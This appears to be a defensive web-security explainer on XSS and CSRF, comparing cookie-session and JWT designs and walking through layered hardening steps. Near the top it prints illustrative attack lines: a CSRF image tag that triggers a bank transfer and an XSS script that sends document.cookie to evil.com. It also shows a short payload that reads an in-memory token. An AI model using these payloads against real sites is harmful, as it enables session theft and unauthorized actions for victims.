XSS and CSRF: a locked door and open windows
You're logged into bank.com. In another tab you open evil.com. The page contains:
<img src="https://bank.com/transfer?to=evil&amount=1000">Your browser issues a request to bank.com. It sends your bank.com session cookie along, because that's what browsers do for any request to that origin. The transfer goes through.
That's CSRF. You didn't click anything. The attacker borrowed your authenticated session by tricking your browser into making a request.
Now a different scenario. You visit forum.com and read someone's comment. The comment contains:
<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>If forum.com rendered the comment as raw HTML without escaping, the script runs inside forum.com's origin. Full access to its DOM, cookies (unless HttpOnly), and localStorage. The attacker reads your session.
That's XSS. The attacker injected code that runs as if forum.com wrote it.
Two attackers, standing in different places. The CSRF one is outside your page. He can't reach in, so the most he can do is trick your browser into sending a request on his behalf. The XSS one gets his code running inside your page, and once he is in, he is you. Everything below follows from that one line between outside and inside. It decides which defense stops which attacker, and why a single failure takes down the rest.
The short version, before the details: great CSRF defense with no XSS protection is a locked front door beside an open window. The rest explains why.
Two attacks, two threat models
XSS: code I didn't write running in my origin. Attacker delivers payload via stored content (comments, profile fields), reflected URL parameters, or DOM manipulation. Once it runs, it has full origin privileges: read non-HttpOnly cookies, localStorage, page state. Issue requests as user. The trust it exploits is the page's trust in user-supplied content.
CSRF: my browser sending a request I didn't intend. Attacker controls a different origin, embeds something (image, form, fetch) that triggers a request to the target. Browser attaches the target's cookies automatically, server can't tell it's not legit from the cookie alone. The trust it exploits is the browser's automatic cookie attachment.
Because the trust being exploited differs, the defenses differ too, and they live in different layers.
Architecture decides the threat surface
How your app authenticates determines which threat dominates.
Cookie sessions (server sets a session cookie, browser sends it automatically on every request to that origin):
- Vulnerable to CSRF. Any cross-origin request can carry your cookie.
- XSS still dangerous. Reads non-HttpOnly cookies, issues same-origin requests with full session.
Token auth (JWT or similar in Authorization header):
- CSRF largely goes away. No cookie auto-attaches, so a forged request lacks credentials.
- XSS becomes existential. If the token sits in
localStorage, an XSS payload reads it and is now the user, on any device, until expiry.
Modern SPAs often use tokens. Apps rendered on the server usually use cookies. Both styles are still common, but the way you defend each one is different.
XSS defenses, layered
| Layer | Who | What |
|---|---|---|
| Output encoding | Client | Use the framework's interpolation ({value}). Stop reaching for innerHTML / dangerouslySetInnerHTML / v-html. |
| Sanitization | Client | DOMPurify. Don't roll your own. |
| Content Security Policy | Server | script-src 'self' 'nonce-RANDOM'. Anything that doesn't fit gets rejected by the browser. |
| HttpOnly cookies | Server | Set-Cookie: ...; HttpOnly. JS can't read it. Caveat below. |
| Stored content sanitization | Server | Clean on input. Clean on output too. Belt and suspenders. |
X-Content-Type-Options | Server | nosniff. Browser stops guessing what files are, so your image upload doesn't get rendered as script. |
| Trusted Types | Client + Server | CSP directive that forces HTML injection sinks through a sanitizer. Catches the bug before ship. |
The first two rows handle most of the job, and the rest are there as extra safety nets.
The CSP row needs unpacking. With script-src 'self' 'nonce-abc123', the server stamps every legitimate <script> tag with that nonce, and the browser executes only the tags carrying it. Injected scripts don't have it, and the nonce changes on every request, so capturing one buys nothing.
Deeper: why XSS can't fake the nonce
The server generates the nonce and the browser checks it, so the attacker, who controls neither side, has nothing to work with.
When the browser parses the response, it copies each nonce into an internal slot for CSP checks, then wipes the attribute from JS reads:
document.querySelector('script[nonce]').nonce // ""
document.querySelector('script[nonce]').getAttribute('nonce') // ""With a 128-bit random regenerated per request, there's nothing left to read, duplicate, or brute-force. Nonce hiding shipped in Chrome 49 (2016), Firefox 31, Safari 11. Universal today.
eval family (eval, new Function, setTimeout(string)) is also blocked by default CSP since 'unsafe-eval' isn't on unless you ask for it.
Only breaks if you misconfigure: 'unsafe-inline' cancels nonce checks, 'unsafe-eval' opens eval, static or low-entropy nonce is replayable, 'strict-dynamic' can be leveraged via a controllable loader. All config bugs, not mechanism flaws.
Deeper: nosniff is a serve-back decision, not an upload one
X-Content-Type-Options and the Content-Type it protects are both set by your server when it sends a stored file back, not when the file is uploaded. They are two separate trips:
- Upload (a user sends you a file). The
Content-Typeon that request is whatever the uploader chose, so it is attacker-controlled. Don't store it and reuse it later. - Serve-back (your server returns the file to a viewer). Here your server sets the
Content-Typeitself, normally from the file extension (.pngbecomesimage/png), and addsnosniff. This response is where the decision happens.
nosniff tells the viewer's browser to trust the Content-Type from the serve-back and never re-guess it from the bytes. So it only protects you if that Content-Type is correct. Serve a malicious avatar.png as image/png and the browser treats it as an image (a broken one), never as a script. Serve it as text/html because you copied the uploader's value, and nosniff will trust that and render a page. The header only enforces your label, so the label has to be right first.
The victim is a third party: an attacker uploads a file with a script inside, your server stores it, and a different user opens its URL. Execution needs the file to be opened as a document (a direct navigation). Loaded through <img>, the same file only ever decodes as image bytes and never runs.
Important: HttpOnly limits the damage, does not prevent XSS
HttpOnly stops XSS from reading the cookie value. It does not stop XSS from using the session. XSS can still run fetch('/transfer', ...) from inside the origin, and the browser auto-attaches the HttpOnly cookie. The server authenticates the request normally.
| Capability | Without HttpOnly | With HttpOnly |
|---|---|---|
XSS reads document.cookie | ✅ | ❌ |
| XSS exfiltrates cookie to attacker server | ✅ | ❌ |
| XSS issues authenticated requests in victim's browser | ✅ | ✅ |
| Attack persists after victim closes the tab | ✅ | ❌ |
| Cookie replayed from a different device | ✅ | ❌ |
Set HttpOnly anyway. It converts permanent credential theft into a tab-lifetime session hijack, which is a meaningful downgrade. But don't treat it as the XSS defense. The actual XSS defense is output encoding + CSP.
Deeper: in-memory tokens are still XSS-readable
Putting a JWT or access token in memory (Zustand, React context, plain module variable) is better than localStorage, not safe from XSS. XSS runs in your origin. Any JS-reachable state is reachable:
// XSS payload, knowing the store
useAuthStore.getState().token
// or scanning the React fiber tree, or grabbing closures via DevToolsThe advantages over localStorage are real but they're about limiting the damage, not invisibility:
- Harder for a generic XSS template.
localStorage.getItem('token')works on every site. Reading a Zustand store needs knowledge of the store's reference, which varies per app. Drive-by XSS payloads collect 100% oflocalStoragetokens, much fewer in-memory ones. - Once the user closes the tab, the token disappears along with it. Close tab or reload, XSS gone, attacker loses the handle.
localStoragepersists across reloads, and stolen tokens replay from any device until expiry.
Same logic as HttpOnly cookies: drop "permanent credential captured" down to "tab-lifetime session hijack." Combined with short-lived access tokens (5-15 min) and HttpOnly refresh cookies, the real damage window is small.
CSRF defenses, layered
Read this whole table assuming XSS is already prevented. Almost every CSRF defense here stops working once an attacker has XSS, because XSS runs as your own origin and reads the token, the DOM, and the page state directly. The "Still works under XSS?" column makes that dependency visible.
| Layer | Who | What | Still works under XSS? |
|---|---|---|---|
SameSite cookie | Browser + Server | Set-Cookie: ...; SameSite=Lax. Blocks cross-site sub-resource requests. Browser default since Chrome 80 (2020), set it explicitly anyway. | No. XSS runs same-site, cookie attaches normally. |
SameSite=Strict | Server | Set-Cookie: ...; SameSite=Strict. Even top-level cross-site navigation skips the cookie. Use for admin / financial endpoints. | No. Same reason. |
| CSRF token | Client + Server | Server plants a token in the form / response. State-changing requests must echo it back. evil.com can't read it (SOP), can't forge it. | No. XSS reads it from the DOM and includes it. |
Origin / Referer check | Server | Look at the header. If a request to your /transfer carries Origin: evil.com, reject it. | No. XSS requests carry your real Origin. |
| Verb discipline | Server | GET never changes state. Image tags can fire GET, not POST. Forces attackers to write more. | No. XSS does any verb. |
| Skip cookies | Architecture | JWT in Authorization header. No auto-attach, no CSRF surface. | No, worse. localStorage JWT is one line away from XSS. |
| Re-auth / MFA on sensitive ops | Server + Client + User | Re-enter password / push a hardware key (WebAuthn, TOTP) before high-impact actions. | Yes. XSS can't fake a password or a hardware tap without the human. Only meaningful residual layer once XSS is in. |
Why XSS dominates
The table above already showed why: under XSS every standard CSRF layer stops working, and the only thing left is out-of-band re-auth, because XSS can't supply credentials it doesn't have.
Practical priority:
- Stop XSS first. Framework auto-escape + CSP + sanitize stored input + nosniff, with
HttpOnlycapping the damage. - Then layer CSRF defenses on top. SameSite + token + Origin check. These add value only when XSS is already prevented.
- For high-stakes operations, add re-auth or MFA. This is the only layer that still works after a successful XSS, because it depends on something XSS can't fake.
A site with great CSRF defenses and no XSS protection is a house with a locked front door and open windows. The attacker walks through a window and unlocks the door from inside.
What I'd do today
Same defenses, assembled per architecture. Each ladder starts from the naive version and adds one layer at a time.
Harden a cookie-session app, step by step
Foundation first, same as the JWT app: CSP nonce, framework auto-escape, and nosniff. An XSS getting in voids every cookie and CSRF layer below it, so treat the anti-XSS layer as the floor, not a step you climb to later. Everything numbered below hardens the cookie itself and assumes that foundation is already in place.
The numbered order then walks the cookie from naked to hardened. These steps are numbered, not lettered like the JWT ladder below, because each one stacks on the last: you finish with all of them, not one. That order follows implementation cost, not defense value. Two different axes, and they disagree:
| Layer | Cost | Value |
|---|---|---|
HttpOnly + Secure + nosniff | one line each | caps damage, does not stop the attack |
SameSite | one line | kills classic CSRF, nothing else |
| CSRF token | wire every form | falls the moment XSS lands |
| CSP nonce | real project work: the server generates a nonce per request, every template injects it, every third-party script gets audited. Miss one and the page breaks | highest value in the stack. It kills injected script at the execution step, and XSS is the attack that gets past every other layer |
So the ladder order is for retrofitting an existing app without breaking it: cheap hygiene first, the expensive high-value layer when you can schedule it. Starting a fresh project? Do CSP on day one.
0. Bare cookie. Everything is exposed: XSS can read it, CSRF can use it, and it travels in plaintext.
Set-Cookie: session=abc123
1. Lock the cookie down, and ship the free header while you are here. HttpOnly stops JS reading it, Secure keeps it off plaintext HTTP. nosniff is one line and belongs in this batch, even though it defends the script-execution layer covered in step 4.
Set-Cookie: session=abc123; HttpOnly; Secure; Path=/
X-Content-Type-Options: nosniff
XSS can no longer exfiltrate it. It can still use the session from inside the page, so this is a downgrade, not a cure.
2. Kill classic CSRF with SameSite. Cross-site sub-resource requests (the <img src="bank.com/transfer"> trick) stop carrying the cookie.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Use SameSite=Strict for admin and money endpoints.
3. Add a CSRF token on state-changing requests, since SameSite has edge cases.
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="{{ csrfToken }}">
</form>// server, on POST
if (req.body.csrf_token !== session.csrfToken) return res.status(403).end()4. The foundation, written out. CSP nonce and framework auto-escape (nosniff already shipped in step 1). This is the floor from the top of this list. If you started a fresh project here, the box is already ticked and everything above was the cheap hygiene you layered on after.
Content-Security-Policy: script-src 'self' 'nonce-RANDOM'
<div>{userInput}</div> // safe, the framework escapes it
// never feed user data to dangerouslySetInnerHTML / v-html / innerHTML5. Reject foreign Origin on state-changing routes. Cheap second layer.
if (req.method === 'POST' && req.headers.origin !== 'https://bank.com') return res.status(403).end()6. Re-auth on the dangerous stuff. Transfer money, change email, delete account: re-enter password or tap a hardware key. The only layer that still holds if XSS gets in.
Harden a JWT app, foundation first
Do the foundation before you touch the token. Everything about where the token lives (A, B, C below) only limits the damage once XSS is already in. One layer keeps XSS out in the first place, so it comes first.
D. The foundation: stop XSS from running at all. CSP nonce, framework auto-escape, nosniff, and re-auth on sensitive ops. A token sitting in localStorage behind solid CSP can be safer than a perfectly placed token with no CSP, because the second app still lets injected script run. This is the one layer that keeps the attacker out instead of just limiting the damage.
Content-Security-Policy: script-src 'self' 'nonce-RANDOM'
X-Content-Type-Options: nosniff
Then choose where the token lives. These are lettered, not numbered like the cookie ladder above, because you pick one, not all: A, B, and C answer the single question of where the token sits, and each replaces the one before. Pick the furthest you can reach.
A. Token in localStorage. The worst. One XSS line steals it, and it replays from any device until expiry.
localStorage.setItem('token', jwt) // don'tB. Token in memory. A module variable or store, never persisted. It dies when the tab closes, so a stolen copy doesn't outlive the session. XSS can still read it while the tab is open. Replaces A.
let accessToken = null
function setToken(t) { accessToken = t }C. Short-lived access token in memory, refresh token in an HttpOnly cookie. The access token lives 5-15 min in a memory variable; the refresh token goes somewhere JS can never read. A stolen access token expires in minutes, and the valuable long-lived credential stays out of reach. Replaces B.
Set-Cookie: refresh=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refresh
// silent refresh, the browser sends the refresh cookie on its own
const res = await fetch('/auth/refresh', { credentials: 'include' })
accessToken = (await res.json()).accessTokenThe refresh cookie auto-attaches, so /auth/refresh has a CSRF surface of its own. SameSite=Strict on that one cookie closes it. You've shrunk CSRF from the whole app to a single endpoint.
The strongest JWT app is D plus C: keep XSS out, and if it ever gets in, make the token it can reach expire in minutes. No CSRF token is needed while auth stays in the header, since the JWT doesn't auto-attach. Any route still on cookie auth is a cookie app, defend it as one.